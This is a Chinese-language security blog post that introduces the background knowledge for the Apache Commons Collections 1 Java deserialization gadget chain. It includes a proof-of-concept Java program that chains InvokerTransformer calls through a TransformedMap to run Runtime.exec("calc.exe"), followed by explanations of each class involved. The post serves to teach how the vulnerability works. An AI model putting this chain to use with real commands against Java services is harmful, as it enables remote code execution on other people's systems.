Java安全之Commons Collections1分析前置知識
0x00 前言
Commons Collections的利用鍊也被稱為cc鍊,在學習反序列化漏洞必不可少的一個部分。Apache Commons Collections是Java中應用廣泛的一個庫,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java應用都使用了這個庫。
0x01 前置知識
這裡先來看一段網上找的,poc代碼
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
//此處建構了一個transformers的數組,在其中建構了任意函數執行的核心代碼
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers數組存入ChaniedTransformer這個繼承類
Transformer transformerChain = new ChainedTransformer(transformers);
//建立Map并綁定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//給予map資料轉化鍊
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//觸發漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap後一串東西,其實就是擷取這個map的第一個鍵值對(value,value);然後轉化成Map.Entry形式,這是map的鍵值對資料格式
onlyElement.setValue("foobar");
}
}
先不管具體的實作,先來檢視一下運作結果。
![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiIn5GcuYDN2QTNwQDMz0SO1YzMwcTM4ETMwATMwIDMy0SO2YzM5kTMvwFMxAjMwIzLcljN2MTO5EzLcd2bsJ2Lc12bj5ycn9Gbi52YuAjMwIzZtl2Lc9CX6MHc0RHaiojIsJye.png)
在調試這條鍊的時候會設定到一些沒接觸過的類,在調試前需要了解到這些類的一個作用,友善後面的了解。
Transformer
Transformer是Commons Collections中提供的一個接口
ConstantTransformer
ConstantTransformer是Transformer的實作類
在構造方法裡面對iconstant進行傳值,而其他的幾個方法都是擷取iconstant的值。
InvokerTransformer
InvokerTransformer也是Transformer的實作類,
在構造方法中有三個參數,第⼀個參數是待執⾏的⽅法名,第⼆個參數
是這個函數的參數清單的參數類型,第三個參數是傳給這個函數的參數清單 。
裡面還提供了一個Transform的方法,該方法可以通過Java反射機制來進行執行任意代碼。
ChainedTransformer
ChainedTransformer也是實作了Transformer接⼝的⼀個類,
看到transform方法是通過傳入Trasnformer[]數組來對傳入的數值進行周遊并且調用數組對象的transform方法。
Map
Transform來執行指令需要綁定到Map上,抽象類AbstractMapDecorator是Apache Commons Collections提供的一個類,實作類有很多,比如LazyMap、TransformedMap等,這些類都有一個decorate()方法,用于将上述的Transformer實作類綁定到Map上,當對Map進行一些操作時,會自動觸發Transformer實作類的tranform()方法,不同的Map類型有不同的觸發規則。
TransformedMap
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Transformer實作類分别綁定到map的key和value上,當map的key或value被修改時,會調用對應Transformer實作類的transform()方法。
我們可以把chainedtransformer綁定到一個TransformedMap上,當此map的key或value發生改變時,就會自動觸發chainedtransformer。
參考文章
https://www.cnblogs.com/litlife/p/12571787.html#transformer
https://xz.aliyun.com/t/7031#toc-8
0x02 未完續
CC鍊的調試比URLDNS要麻煩不少,調試的時候需要大量的知識填充。繼續mark中。